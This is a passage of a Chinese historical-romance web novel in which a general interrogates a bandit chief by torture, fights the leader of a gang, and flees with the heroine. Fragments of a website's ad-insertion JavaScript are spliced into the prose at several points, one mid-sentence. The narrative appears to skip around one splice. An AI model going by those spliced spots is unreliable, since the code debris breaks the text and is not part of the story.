山寨大王腰间系着一条红绸子,咧嘴露出两颗金牙,光灿耀眼。他单手拎着酒坛,恭恭敬敬向萧染拜道:“黑风寨全寨兄弟叩首,恭迎堂主大驾光临。” 堂主略微颔首。 山匪递上酒碗,寨主亲自斟满,双手奉上,谄媚道:“堂主吩咐的事,属下已办妥。洞房花烛齐备,婚庆宴席即刻开始。” 堂主细长眼眸逡巡一路,见那寨子四周果然渲染喜庆氛围,虽然有些格格不入,但也还算整齐。 萧染把那手中扇子轻轻摇动,眼眸乜斜道:“我自新任毒蛇堂堂主,不过一月有余,不曾有过建树,堂下各方兄弟也未认全。恐难以服众。尔等听命于我调遣,处处尽心尽力,未有懈怠。不错。本堂主自会在上峰面前,替你邀功领赏。” 寨主闻之大喜,端酒的手颤了颤,险些打破酒碗。他摇晃身体,竭力保持平衡,口中连说道:“黑风寨惟堂主马首是瞻。” 上方二人寒暄。 那边时枫听了大半,早在两个月前,他自见了老道之后,就开始着手探察“黑风寨”事宜。对山寨的基本组织架构,有了全面且初步的认识。 那寨主外号“大金牙”,早年乃跑动江湖的“人牙子”出身,因为人讲义气,做生意还算爽利,很快成为“鬼市”的名人。 后来生意越做越大,干脆寻了无主的山头,纠集鬼市闲杂人等,占山为王。打家劫舍时有发生,劫富济贫偶尔为之。在黑白无常的年代,黑风寨混得还不错。 直至两年前,时樾单枪匹马闯天关,一杆金枪单挑大半山寨,顺便将山寨关押的百姓全部释放,救了苏绾的老道就是其中之一。 各种因缘际会,时樾留下大金牙性命不死,黑风寨得以苟延残喘。这两年来,大金牙也算安分,没做什么出格的事。 至于“毒蛇堂”,时枫从未听说,也不了解所谓的“上峰”是谁,做的什么勾当。更加不清楚,为何毒蛇堂堂主萧染,对他穷追不舍。 也许,是想拿他当作“投名状”,来为自己新任堂主一职立威信。 岂有此理。 安排妥当现场的“宾客”,萧染长吁一口气,袍袖擦拭额间细汗。指挥调度上百个不守规矩的粗鄙山匪,还真不是一件容易事,堪比对牛弹琴。他这个上任新官,第一把火能不能烧破天荒,就看今晚的这场“洞房花烛夜”唱得精不精彩。 萧染吞了寨主敬奉的一碗水酒,啪得一声用力摔碎酒碗,震得寨主同一众山匪跳脚,连带熊熊火把也抖上三抖。 “痛快。” 少年砸吧砸吧檀色的唇,细长眼眸增添几分醉色,竹月襕衫袍子宽袖展开,盛情邀请道:“今夜乃时将军大喜之日,莫要冷落了新娘子,此去洞房花烛不过两步路,快着些走,春宵一刻值千金。” 疯言疯语惹恼了时枫,不禁开口怒道:“混账东西,竟敢耍弄本将军,活腻歪了。” 萧染明显一愣,“这话说的,怎么能叫耍弄?我见你二人偷鸡摸狗、畏畏缩缩窝在狗洞通奸,那多没意思?要搞就光明正大地搞嘛。可你二人本无夫妻名分,又怎能光明正大?萧某只好出面,替你们置办终身大事。” 细长眼眸卷了卷,叹道:“萧某一番用心良苦,将军不领情也就算了。人生苦短,知己难求。哎。” 言毕,襕衫袍子甩了甩,命令手下将时枫等人带去洞房。临走之前,还不忘贴心嘱咐山匪,务必打开众人身上束缚的绳索。 “没手没脚,怎么入洞房?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧染抬首望向天光,但见清月落白,鸡鸣问晓,心中遗憾又增添几分。越发觉得自己惆怅雁边独行,难抵人间风月缠绵世变。踏着陷入泥淖的破碎酒碗,踯躅返回客塌,“噗”得吹熄烛火,倒头就睡。 一觉睡到天光。 所谓的“洞房花烛”,不过是一间竹屋,一根红烛,外加门口持刀把守的两名山匪。 把眼逡巡竹屋十来遍,也无法沉静聒噪的心,时枫满脑子充斥着“拜堂成亲”的荒诞想法,叮叮当当,锣鼓喧天,唢呐吹响。 他的人生,还没有做好娶妻的准备。 倘若身边多出一位红尘小娘子,午夜未央,伴他醉里挑灯看剑,潇洒浪迹天涯,也不失枉渡过此生。 男人偷偷瞥了一眼“新娘子”,对方神情泰然自若,丝毫没有慌乱迹象。 哼,她倒是没事人一样。 烛泪粘盘,葡萄堆垒。苏绾摘下金簪,酥手挑了挑烛芯,火苗重又旺盛。跳动的火焰映照腕间被麻绳勒出的红印,她甩了甩手腕,有些酥麻感。 她并非坐怀不乱的高士,才从恶鬼爪牙下逃脱,又堕入虎狼巢穴。一夜之间,大起大落。是人都要扒层皮。然而,如今却是不一样。 复仇路途坎坷,她并不孤单。 倘若那个疯子敢动她一根头发,她的利剑,会毫不留情一剑捅进对方的心脏。 她有恃无恐。 佳人细微的动作吸引了时枫的注意力,“我之前给你的药膏,你用了没?” “没有,我不喜欢那个味道。”苏绾头也不抬答道。 男人怒道:“嫌弃我送的东西,不想活了吗?” 苏绾瞟了一眼男人,“真小家子气,不喜欢你送的东西,就不能活了吗?我也送过你一条墨金双色络子,你是不是也不喜欢?那你还给我。”说着,伸出玉手向他讨要。 大手啪得甩开她。 “谁说我不喜欢?”男人从怀里掏出那条络子,“你看这是什么?” 墨金络子映着烛火,摇摇结遐心。 苏绾却是一愣,没想到他竟然随身带着它。她蓦然感到心内一酸,有什么东西滚滚向上翻涌。 男人摩挲半晌络子,小心放回怀里。他一直贴心揣着络子,平时舍不得佩戴,生怕有磨损。毕竟采用西夏进贡丝线,及苏州十年内产出最好的丝绸,打出来的唯一墨金络子,价值三千两。 耳边飘来佳人嘲讽,“一根烂绳子,你当做宝贝一样,偏不知身边有真正的荆山玉,可笑可悲。” 令她心底泛酸的,是一坛子万年陈醋,还是满纸荒唐辛酸泪,她不得而知。 男人猛然抬起头,紧盯苏绾的眼睛,凤眸燃起炽热烈火,“上次在画舫时,我就该跟你说清楚。我的确与沈枝意定有婚约,但那是父辈在我不知情的情况下,替我指定的娃娃亲,根本算不得数。我一直当她是妹妹看待,从未有半点逾矩之心。” 清亮的眸子倒映烛火,冰心坦诚相见。心底凝结的万年寒冰,偶见冰泮瓦解。 “可她却当真了。”苏绾望着摇曳的烛光,声音彷如隔世,“总有一天,你会伤透她的心。” 被伤透心的人,也许不止一个。 两人无言对视一阵,彼此都觉得有些尴尬无味。此刻又不比刚入“洞房”之前,多了一分诡异的通融,倒真像是刚刚拜过天地高堂的夫妻。 剩下的,唯有等待撩开盖头的急切与羞赧。 忽然吹来一阵冷风,案上一豆烛火,猝然熄灭。 门外漱漱两声,紧接着竹门半开,黑暗中闪入两人影。其中一人抬脚,猛踹另一人膝盖腘窝,将其踹倒在地。 “爷,属下将贼头擒来了。”晴雷揉搓鼻尖,囔囔地说道。风紧扯呼,他有点着凉。 “拔光他嘴里的牙齿,尤其是那两颗金牙。下手注意些,本将军不想听到一声哀嚎。” 天边破晓,一丝亮白淡入纸窗,映照坐在藤椅里的男人,鬼魅眼眸泛着狠戾凶光,仿佛阎罗现世。 52. 故人 苏绾第一次近距离观摩审讯犯人。 上一世,当她成为名副其实的“疯后”,为泄愤下令将司礼监的一众太监绞杀干净,全权交给御马监提督处理,所谓的“东西二厂”相争,由此落下帷幕。 内厂太监的刑讯逼供手段极其残忍,大名鼎鼎的“红绣鞋”就是东厂司礼监掌印的名作。鉴于苏绾曾于大殿之上受过掌印的视奸侮辱,因此那双烧得红彤彤的铁鞋,最终穿在掌印的脚上。彼时掌印仅哭嚎七声,便昏死过去,当天夜里就断气了。 苏绾恨得咬牙切齿——只受了半个时辰的折磨,忒便宜老鸡婆。 往事不堪回首。 男人注意到苏绾怔愣不动,以为她害怕血腥场面,沉声道:“转过身去,不要看。” 若非形势所迫,他绝不肯在女人面前动用刑罚——虽然就是他三番五次,威胁要抓苏绾进大牢上大刑。 男人向刽子手使了个眼色。 侍卫晴雷自靴内拔出一柄短刀,靴边鹿绒处抹了抹,刀刃雪亮,寒光泼眼。少年明眸一沉,竖起刀俎,指向鱼肉。 风雷飒飒,千钧一发。 不等晴雷动手,“大金牙”嘴里塞着布头,呜呜乱叫,跪地磕头,表示自己服了。 所有人瞬间松口气,包括苏绾在内。 刽子手麻利收刀,一把扯掉布头,眼神时刻警惕。假如犯人胆敢耍诈,他会毫不犹豫抹了对方的脖子。 这就是锦衣卫的觉悟。 大金牙咳嗽几下,连声求饶:“将军饶命!小的早就认出将军,无奈受那毒蛇堂堂主萧染逼迫,不得已才行此下策,还请将军宽恕罪过。” 所谓毒蛇堂,乃江湖漕帮势力之首,专门负责保护漕运,成立已有五十年历史。漕帮原本起源于运河沿线,多驻扎在江浙地区。近几年开始纷纷向内地扩张,蚕食鲸吞地方割据帮派势力,甚至将爪牙延伸至京城繁华地。 毒蛇堂在京发展两年,不仅接手了山匪、水贼等江湖买卖,将其一锅端吞并,还慢慢渗透进地下钱庄、赌场、妓院等一条龙产业,俨然成为京城鬼市龙头老大。 一个月前,原先的堂主被人单挑挑死了,胜利者取而代之,一屁股坐上堂主的交椅,就是现如今的萧染。 萧染其人疯癫成性,手段阴狠毒辣,上任之后,先杀了一批不服从他的手下。方式随性而为,水边遇见的,扔进湖里喂鱼;路上抓住的,推入车轮碾压;散步碰到的,随手放狗啃噬。 闹得江湖人心惶惶,人皆惧怕萧染。 时枫阖目听之,右手敲击藤椅椅臂,“为何追踪本将军?” 大金牙摇头道:“小的不知。萧染只管发号施令,并未向小的解释缘由。”他咋么咋么嘴巴,讨好似的猜测道:“许是要拿将军做投名状,挟将军以令江湖。” 时枫自调遣京卫指挥使来京,不过半年有余,未尝有机会接触当地帮会,无法知晓毒蛇堂的存在。既没有得罪过漕帮,何以被萧染咬住不放? 若论新官上任三把火,萧染拿他当投名状祭天,又有些说不通。官商勾结,原则上不该是商拿好处贿赂官吗?怎得萧染一上来,却是风霜刀剑严相逼? 惹恼了他,有何好处? 男人向前探了探身,左手搭在膝盖处,臂间缠绕绷带十分显眼,渗透的鲜血已风干,呈现棕褐色痕迹。手掌握成拳,又张开,指节发出咔哒声响。 剑眉挺了挺,时枫问道:“你可曾听过,神武将军时樾的名字?” 如被霹雳击中,大金牙猛然一震,低头道:“不、不曾听过。” “哦?”男人凤眸一凛,瞬间杀气棱棱,“你认得我,却不认识本将军的兄长。” 他缓缓挺直脊背,端正两腿姿势,似在为某项决定做准备,“你觉得我,会不会信你?” 大金牙吓得浑身发抖,哆哆嗦嗦道:“小、小的不敢、敢欺骗将军,果真没、没见过时樾将军。” “哼,还敢嘴硬。晴雷,掰开他的狗嘴。”男人果断下令。 “是。”晴雷手腕一甩,掌间短刀寒影催命。 刀刃卷着冷风,直喇喇刺入牙口,顺时针搅动一周,霎时无尽血渣伴随齿屑,噗噗喷射出口。 目的既达成,右手迅速收刀,左手捏布头搥进嘴,将满腔热血堵得严严实实,一声哀嚎都不曾发出。 大金牙两眼充盈血泪,嘴巴四周浸透鲜血,汩汩外流。殷红血液滴落褂子,混着崩裂的碎牙,落入腰间红绸子不见。 其中一颗金牙,闪耀金光,蹦落苏绾绣鞋的鞋面,沾染一片血迹,惊得佳人连连跳脚。孰料脚下一滑,跌足摔个趔趄。 “啊……”苏绾失声叫道。 电光火石之间,大手陡然从天而降,捞着纨素拉到膝上,帖耳轻声道:“闭上眼睛。” 雄浑气息扑面而来,苏绾听话地阖合眼眸,两手紧紧扣住男人的束腕,心底似揣着一只玉兔,扑棱扑棱跳不停。可她想了几个来回,也不知道自己究竟是被谁唬破的胆子。 大金牙双手捆绑身后,佝偻身体缩成一团,头壳梆梆敲地。声音过于响亮,恐会引人注意,晴雷上前踏实夯一脚,稳稳踩住他的脑袋。 世界终于安静了。 然而只停了一息,罪犯两眼翻白,似有晕厥迹象,嘴角泛起白沫。看来晴雷那一脚蹬,力度过于大了些。 晴雷心虚地瞄了一眼,见男人峨眉紧蹙,一脸怒容觑着他。侍卫暗暗吐舌头,俯身去够犯人手背,捏指按压犯人拇指内侧合谷穴。 约莫两口茶的工夫,晕厥有所缓解,大金牙慢慢睁开眼。 睁眼即是地狱。 男人凤眸一转,睥睨罪魁祸首,沉沉道:“方才提及萧染时,怎没见你这般嘴硬?看来,萧染对你来说,并不值得你为之冒险抵抗。” 凤眸射出阴鸷冷戾寒光,“一文不值的垃圾,我可没有兴趣。” 大金牙呜呜咽咽,挺尸般横卧地面,嘴角口水流涎。他翻了翻眼皮,竭力点点头。 再狡猾的犯人,面对绝对暴力手段,精神防线也将崩溃坍塌,这也是刑讯逼供的重要意义。 苏绾背靠男人宽阔的胸膛,感受一颗强有力的心脏,稳稳地跳动着。男人身上散发出清冽的雪松气息,此刻闻起来也没有从前那般令人作呕,反倒沁如暖流浸润心田。 奇怪,“冷面阎罗”明明展现恐怖冷血的一面,为何却让她感到不合时宜的轻松与安心? 因为刀子架在敌人脖颈。 她偷偷睁开双眼,看脚下的猎物苟延残喘,感受绝对强者的威压与力量。与上一世做“疯后”相比,多了一份狐假虎威的自信,少了一丝为虎作伥的狂妄。她不敢断言自己向往权力,然而上位者的无上荣耀,依然吸引着她,哪怕过了两世。 苏绾沉浸在幻想中,丝毫没意识到,接下来发生的一切,于她来说究竟包含何种意义。以至于此后相当长一段时间之内,她都恍惚感到,人生不过是一场梦。 大金牙趴伏黄土地,混杂着血渣与污泥,呜呜啦啦讲述事情的真相。若不仔细辨认,很难听清楚所述内容。苏绾听得磕磕绊绊,勉强勾勒出大概轮廓。 两年前,出于某种未知原因,时樾经过一番辛苦探察,顺藤摸瓜,摸索到春月坊,发现银盒。他一路追寻银盒主人的来处,查出黑风寨的寨主大金牙,就是当年倒卖花娘九香的“人伢子”。 凭一杆金枪,时樾英雄孤胆,捣毁半座山寨。大金牙迫于威慑,不得不招供——九香是他十数年前做人伢子时,偷偷从扬州“堕花院”拐来京城,又翻十倍卖给春月坊。 堕花院乃扬州名苑,历史悠久,以培养顶级“瘦马”闻名遐迩。此苑又与别处不同,因背后有高人坐镇指点,生意也比寻常青楼做得大些。瘦马来源五花八门,多数是贫苦家庭出卖女儿,当地官府对此买卖人口勾当,睁只眼闭只眼。 大金牙只当是自己做了一桩血赚的买卖,岁月春秋薄了几遭,此事石沉大海,再也无人提起。过了十多年后,有朝一日被时樾找上门。他将能说的交代一遍,换取自己以及几十山匪性命,守候破破烂烂的黑风寨老巢。 自此时樾南下扬州,着手调查堕花院。又不多久,时樾将军殒命漠北的消息,传遍全国各地。凭借多年走江湖的经验,大金牙从这些蛛丝马迹,敏锐地嗅出危险的味道,自己也许卷入一场派系利益纷争。他开始花重金四处寻求庇护,引来毒蛇堂的干事,黑风寨也被顺利收编。 至于毒蛇堂的“上峰”归属哪方势力,大金牙一无所知。他不过是山脚一捻尘土,根本够不到山巅万缕层云。 又来一个堕花院。 时枫凤眼虚眯,琢磨事情来龙去脉,心底疑窦丛生。不过查个小小花娘的踪迹,不知触及了谁人的利益,竟害得哥哥丢了性命。 “萧染可知情?”男人问道。 大金牙无力地晃了晃脑袋,“就连毒蛇堂旧堂主,小的也未曾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 讲过半句往事,这些人都不可信。” 时枫嗤笑一声,“刀子架在脖子上,轮得到你信不信。” 怀里苏绾如坠五里迷雾。 九香?娘亲? 印象里,娘亲的确是扬州瘦马出身,教了她唱曲说书的技艺,打发行院里那些寄人篱下的无聊日子。 上一世,她陷入后宫争斗不能自拔,每天跟一群太监嫔妃拉扯,朝堂上的是非,皆由温如初把持,她从不过问。据她所知,上一世的绥靖王时枫,将死去兄长和父亲两条人命,全部算到温如初头上,才会有后面的揭竿起义,率领三十万反叛军攻打北京城。 “胡说!” 苏绾从男人怀里挣脱,冲至大金牙跟前,跪在黄泥地,同他据理力争,“空口无凭,你如何证明时樾将军的死亡,与我娘亲有关系?” 大金牙两眼瞪如灯笼,仿佛白日见鬼,嘴巴囫囵不清,“你、你是九香的女儿?” 他忽然想起什么,激动道:“时樾将军曾说过,九香并非寻常人家丢弃的女儿,而是战乱时沦落天涯的俘虏,他还要因此定我一个走私战俘的罪名呐。” 苏绾一愣,娘亲从未提及她自己是俘虏的经历,这究竟是怎么回事?太多的谜团缠绕,令她陷入无尽的迷惘之中。 时枫心里,明镜如水。 据银盒盛放的女书绣帕来看,九香应当就是已覆灭都蛮族王室的遗孤。大金牙所言为实,并无欺瞒。然而这些看似毫无关联的因果关系,并不能推断时樾的死亡。 背后某种暗黑势力,隐藏水面之下。 忽然窗纸天光波动,屋顶尘土坠落,门外脚步声迭起。 糟糕,被发现了。 “先出去。”时枫下令。 据守竹屋死角,只会成为人头靶子,随便扔个火把点燃房屋,都是致命打击。 男人横腰抱起苏绾,迅速找寻有利地形。侍卫晴雷拎起大金牙,短刀逼近喉咙,充做人质。 四人挤出竹屋。 门外挤挤茬茬站满打手,部分是山匪亲信,穿红戴绿为庆祝婚宴;另外一小撮人马估计是毒蛇堂的人,衣着打扮皆清一色黑衣蒙面。 人群中央,萧染披着佛头青杭绸鹤氅,素白手指拢了拢尚未来得及梳洗的长发,脸色铁青,“我好心提供场地,邀请满堂宾客,安排你俩入洞房,就是为了让有情人终成眷属。” 伸展两臂,“这山清水秀吉祥地,这天高云淡皇帝远。做一对神仙眷侣,锦瑟和弦,地老天荒,哪管他日江木流春水。岂不美哉快哉?” 跺脚急嗔,“可是你们,到、底、在、干、嘛?” 细长眼眸溢满惋惜,好似真地在为他人终身大事操劳。 无意中眼角扫过人质大金牙,萧染眨了眨眼,满脸疑惑道:“你们绑他做甚?用来威胁我吗?一只虫子?” 茫然的表情,不像是演的。 然而时枫懒得听他这套疯言疯语,挺直腰板冷声道:“本将军对你太过客气了,导致你产生幻觉,以为自己本事大过天。你若再敢挡我去路,杀无赦。” 后面三个字,杀意无边无际。 滚滚杀意,正对萧染的胃口,白净的脸颊骤然泛起兴奋的红晕,“也罢。天堂有路你不走,地狱无门偏自来。” 他身子一挺,脱掉鹤氅,露出紧实的胸膛,十色蔷薇花背依旧闪光夺目。 “来人呐,把我的耙子拿来。” 一场大战在所难免。时枫屈身放下苏绾,耳边叮嘱:“别动,等我。”声音沉稳有力。 苏绾点点头,“嗯。” 时枫上前抽出晴雷的雁翎刀,“暂借我一用。” 刀刃过手,刀锋划过一道优美弧线,竖刀握在手心,男人凤眸沉了沉。 萧染挥舞九齿钉耙,齿尖金光闪闪,他绕着脖颈调侃道:“装什么英雄救美?让我来给你上一课,教你些做人的基本道理。” 言毕,钉耙呼啸袭来,虎虎生风。 目标却不是时枫。 这一耙,突破所有人的预料防线,磳楞楞敲住人质大金牙的脑壳,大金牙身子抖了抖,扑棱如山倾倒,重重砸向泥土地。数一数,砸扁的天灵盖,正好九个血窟窿,滋滋往外冒血。 “你听好了,我要教你的第一课:永远不要拿虫子吓唬我。” “所有人,今日都将葬身这黑风寨里。” 萧染细长眼眸卷了卷,嘴角上扬,露出一抹诡异笑意。 53. 空城 雄鸡一唱,天下落白,朦胧破晓寒。 沾染血滴的九齿钉耙,晨光洗礼下寒气缭绕。外观形状甚为古怪,分明是一杆农家锄地的耙子。之前在画舫时,被拿出来应战的是一柄斧头。由此推断,兵器主人的脑子也不是很清醒。 时枫瞥了一眼奇特兵器,嗤笑道:“我竟不知,你这宵小的营生是耕田种地,想必那耙子使其来十分趁手,怎么都舍不得放下。” 萧染抹了抹未绾未束的长发,傲娇道:“我喜欢,你管不着,正好用来敲你的脑壳。” 钉耙挥舞,鹰击长空。 横刀格挡,寒影曝射。 随着山寨寨主被萧染一耙钉死,围观群众自然而然分成两派。 黑风寨的匪徒,叫嚣着为老大报仇;毒蛇堂的打手,眼神充满戒备。双方冲突一触即发。 风中传来萧染无情的命令:“山寨的所有人都得死。” 领头黑衣人扯掉黑色面罩,露出满脸络腮胡,振臂高呼:“兄弟们,给我杀!” 毒蛇堂的打手们一呼百应,纷纷举起武器,刀枪剑戟,斧钺钩叉,场面瞬间爆发。 凡在场之人,无论自愿还是被迫,皆化身点滴力量,投身汇入战斗热潮中。 唯独苏绾和晴雷,处于漩涡中心,茕茕孑立,处变不惊。因他俩立场特殊,原则上不归属任何一方,因此一时也无人顾及。 晴雷紧紧守候苏绾,手里握一柄短刀,二寸来长,没得多大用处,顶多在敌人身体捅几个窟窿眼。然少年眼神专注,时刻保持警惕,好似伺机捕猎的山猫,并随时准备以身躯替主子挡刀子。 苏绾偏着头,眼神故意躲开大金牙的尸身,然眼角仍时不时扫过被耙子生生敲烂的脑壳。她本来还想再多问他几句关于娘亲九香的事迹,已为时晚矣。 死生有命,尘世间枉死的冤魂何其多,不差这一个。 活着的人,却要为生命的存续被迫打拼。 她偷偷扯了扯晴雷的衣角,“你可知马厩在哪?” 少年挺了挺剑眉。 那边时萧二人酣战正浓。 之前在画舫时,萧染不小心中了时枫的计谋,教他水遁得逞,恨得夜半辗转反侧,彻夜难眠。因而这会子武斗十分卖力,耙子耍得虎啸生风,招招阴狠毒辣,几次险些占尽上风。 然而对方也不是好惹的,“冷面阎王”并非浪得虚名,每一式防守密不透风,每一招攻击所向披靡。 倘若执着于正面攻击,萧染的胜算,只有三分。 宜当采取攻心策略。 “萧某奉劝时将军一句,英雄难过美人关,心思堕落温柔脂粉乡,如何保家卫国,净显男儿气概?”萧染阴阳怪气道。 时枫根本不瞧他,“要你管,看刀!” 雁翎刀迎面劈来,沾染拂晓晨露,晶莹闪耀。九齿钉耙死死抵抗,齿尖锋利,宛如野兽钢牙。 萧染接过一个空挡,不死心道:“萧某也是为了将军的名誉着想,强取豪夺温侍郎的未婚妻,全京城都会嘲弄你是奸夫,笑话她是霪妇。” “将军此举,可对得起为国捐躯的时樾将军?他长眠漠北,也要爬出坟冢,啐上你一口。” “砰”得一声,刀耙相抵,火花四溅,震聋发聩。 时枫怒道:“你这狗奴,也配提及时樾的名号?”手下刀刃加大力度,狠狠压制敌人。 萧染使尽全力挺举钉耙,背部肌肉偾张,十色蔷薇聚成花束,“我说错了吗?两年前,时樾将军为国出征,漠北勇战匈奴兵马,却被一道调令错误地指向深林,中了敌人埋伏。时樾单枪匹马杀出重围,半路陷入荒漠,被匈奴围剿砍杀。英雄断腕,天意难违。” 那场战役乃军中机密,萧染一介平民怎会知晓? 时枫居高临下睥睨他,凤眸愈加深邃,“故弄玄虚,本将军不吃这套。” 萧染嘴角一斜,露出自信而又狡黠的笑容,“你问我是怎么知道的?哈哈,我知道的,远比你知道的多。“ “你可知,那纸调令是由首辅亲自起草,皇帝金印盖章。而调令的提议者,就是你的结拜好兄弟,温、如、初。” “借助时樾这份投名状,温如初攀上章阁老这根线,成为其门下走狗。” “叫你的相好,去温如初书房的抽屉,寻找一封朱印密函,就是他与阁老秘密沟通的铁证。” “放肆!”时枫怒发冲冠,浑身血液倒流,“我杀了你。” 萧染卷了卷细长眼眸,“杀了我有何用?也换不回来时樾的性命。谁让你有眼无珠,错信小人,招致杀兄之祸。” “他杀了你的哥哥,你夺了他的发妻。啧啧。”萧染咋么咋么檀唇,“也算扯平了。” “闭嘴!” 怒火灼烧了男人的理智,时枫忍无可忍,一心置对方于死地。他双手握紧刀柄,左右胡乱劈砍,招式毫无章法,皆被萧染设法闪避。 萧染手中挥舞钉耙,心中暗自得意。人在愤怒至极的时刻,头脑失去冷静判断,下手力度虽然翻倍,准确性则大打折扣。 儿女情长,英雄气短。 想他孑然一身,无牵无挂,生不带来,死不带去。 自然无懈可击。 九齿钉耙空中划过一道铁虹,轰轰然砍向时枫的左臂,正击中伤疤处。钉耙扬起,带动绷带散乱,血条迎风飞舞,肘臂瞬间多了几个血窟窿,不停往外渗血。 时枫左手刀锋一转,奋力向前冲锋。散乱绷带犹如天女绸带,碍了时枫的眼,他用力一扯,生生带下一大块血痂,半条手臂的皮肉不翼而飞。 愤怒麻痹了男人的神经,令他丝毫感觉不到疼痛,也不去管左臂伤势,誓要将萧染活活撕成碎片。 表情狰狞恐怖,好似阎罗现世。 倒把萧染唬得一愣,他蓦然发现,自己好像开了一个不该开的罐子,放出一只恶魔。 雁翎刀刀刀狠准,九齿钉耙勉强拦挡。 慢慢地,萧染感到些微吃力,有些招架不住。 心中纳罕不止。 寻常敌手,被他攻心捶肺之后,往往丧失还击的勇气,甚至举手缴械投降。 这人,怎么跟别人不一样? “喂,萧某既没杀你的兄长,也没夺你的爱妻。我好心提醒你,何以换得这般狠下死手?”萧染喘着粗气,没好气似的抱怨。 时枫没空回答他,他已化身狂暴野兽,目标咬断猎物的喉咙,吸干他的血液,啃噬他的皮肉。 二十二年生涯,从来没有像今天这般愤怒无能。 温、如、初、害、死、时、樾。 短短七个字,承载了他生命中不能承受之重。 倘若换作别人,随便什么人,他都不会这般难以接受。 因为温如初,可是他鹡鸰在原的兄弟啊。 先前他抢了温如初的未婚妻,心有愧疚,始终觉得对兄弟有所亏欠。而面对苏绾对温如初的恶鬼指控,他也只当是男女之间个人情仇。 如今却不一样了。 在他不知情的情况下,温如初设计害死了他的兄长。 绝对不可饶恕。 男人凤眸燃烧赤红烈焰,浑身肌肉紧绷,青筋暴起,双手握住雁翎刀,纵身一跃而起,空中翻滚两周半,横刀霍霍一抹。 这一刀,抹着萧染的胸膛,尽数划开半身皮肉。 霎时间,一道天命血痕裂断。 九齿钉耙咣当砸地。 萧染单膝跪地,勉强支撑身体,大口大口喘着粗气。 “杀了我。”他乞求道。 “如你所愿。” 凤眸剪尽万世风霜,雁翎刀高高举起。刀锋化作霹雳雷霆,魍魉兼狂风大作,呼号依傍孤城背岭,寒角吹响,英雄断肠。 电光火石之际,远处山巅骏马嘶鸣,栗色宝马踏着风尘,一路奔驰而来。 马背上坐着一位英俊少年,皮肤白嫩如春雪,眉眼俊美若诗画。他的身体微微前倾,双腿牢牢钳住马儿肋下,策马扬鞭,风流俊逸出尘,堪比谪仙堕世。 骏马驾临男人身旁,少年伸出手,星眸闪烁,“快上来,晴雷在山门口等我们。” 时枫诧异地张了张嘴,好似见到不可思议之事,凤眸在少年身上滚了又滚,木然地摇了摇头。 他还有事情没做完。 苏绾急道:“萧染在整座山寨都设置了炸药,一旦你将他杀死,火药引信就会点燃,咱们一个都活不了。” 时枫转头觑了一眼萧染,只见他弓着腰,单膝跪地,胸前血痕不断地渗血。 萧染恰时抬起头,细长凤眸卷了卷,眸底被各种复杂情绪阗满,疑惑、不解、震惊、失望、甚至掺杂一丝被人背叛的愤怒。 时枫转过头,纵身跃上战马,绕过苏绾单薄的身体,大手牢牢抓住缰绳。 两手一拉,马儿扬蹄嘶鸣,踏着滚滚风烟,腾空飞渡,苒苒消失天际。 独留下萧染,迎风空嗟叹。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 风萧萧兮转清,路漫漫兮渐远。 时枫揽着佳人,骑着宝马,马背上下颠簸,心情起伏不定。 苏绾缩在男人怀里,转眼蓦然间发现左臂血肉翻飞,惊得佳人连连疼惜:“怎么伤成这个样子?痛不痛?” 苏绾下意识地翻找衣袖,却未找见那枚六角漆盒,这才想起自己从温府出来时,只裹了一床被子。 “你不是说,你不会骑马?”男人冷冷道。 苏绾心内一凉,差点跌下马。她心虚地猫着腰,缩紧身子,努力彰显自己的渺小。 佳人细声道:“我可没有这样讲过,是你听错了。”停了一息,试探道:“你不是说,你要做我的马夫?那我就不必班门弄斧,跳出来献丑了嘛。” 她撒谎了。 时枫感到心脏被人揪着,牵扯地生疼。短短不过一个时辰,他被生命中最重要的两个人欺骗。 一个害死他的哥哥。 另一个,骗取他的真心。 真是活该。 二人很快来到山门口,一座巨大山峰横亘,前面是万丈深渊,后方是悬崖峭壁,自古天险易守难攻。 晴雷骑着一匹黑马,正在山门口焦急等待,但见栗马奔来,心情大为舒缓。 “爷,你总算来了。咱们从悬崖西边走小路,转向京郊大营,还有二十里地。” 时枫没有搭话,高大身躯摇摇晃晃,肩膀无力地搭靠苏绾后背。刚刚经历一场恶战,精气神已耗尽,只剩一丝神智火花清醒。 苏绾被男人沉重的身躯压着,几乎抬不起头,她佝偻着小身板,呼唤道:“你醒醒呀,萧染很快就会追上来。” 说曹操曹操到。 果然,身后适时响起铺天盖地马蹄声,萧染的追兵,已然临近山门。 晴雷急道:“你们先走,我来拦截。” 时枫睁开一道眼缝,用尽最后的力气,摇手断然拒绝:“不行,要走一起走。” 再这样硬撑下去,他们一个都跑不了。她该怎么办?苏绾咬紧朱唇。 萧染骑着白马,插着双臂迤迤然驾临,佛手青杭绸鹤氅装扮,胸前缠绕白色绷带隐隐欲现。 隔着半壁青山,萧染深情呼唤道:“时将军,你没有退路可走。倘若你跟我求饶,说两句客套话,我可饶你不死,咱们有话好商量。” 时枫啐了一口,“滚,我与你无话可说。” 萧染咬牙道:“敬酒不吃吃罚酒,这是你自己选择的路,别怪我不客气。” 言毕,细长眼眸一沉,宽袖一挥,骑兵蓄势待发。 千钧一发之际,山后方突然响起猎猎马蹄声,似有千军万马奔腾。 紧接着,一队士兵打着口号临近。 一位将领下马,上前拜道:“大理寺卿邵云礼,前来支援京卫指挥使。” 时枫喜道:“你来得正好,毒蛇堂堂主萧染割据一方,霸占黑风寨,屠戮山寨数十条人命。你等助我攻回山寨,将萧染等人一举拿下,交付大理寺候审。” 邵云礼道:“我正有此意。麾下三百士兵,听命京卫指挥使统帅。” 时枫一声令下,“给我冲。” 士兵回应:“是” 山后方尘土飞扬,马蹄声迭起,一场大战在即。 山前方的萧染疑窦丛生:怎得如此巧合,偏赶上大理寺卿前来救援? 他对邵云礼的履历并不陌生——其在时谦麾下做指挥官,与时枫曾是并肩战斗的伙伴。 眼前形势危急,不容他再多犹豫一刻。萧染恨得咬牙切齿,然而于事无补。 “后会有期。”转头驾马匆匆逃离。 风吹云散,雾霭清明,这边众人终于松口气。 哪有什么大理寺卿邵云礼,全都是苏绾弄出来的口技。方才她情急之下,使出浑身解数,模仿时枫和邵云礼的口气,演绎一出“大理寺卿驰援京卫指挥使”的戏码。 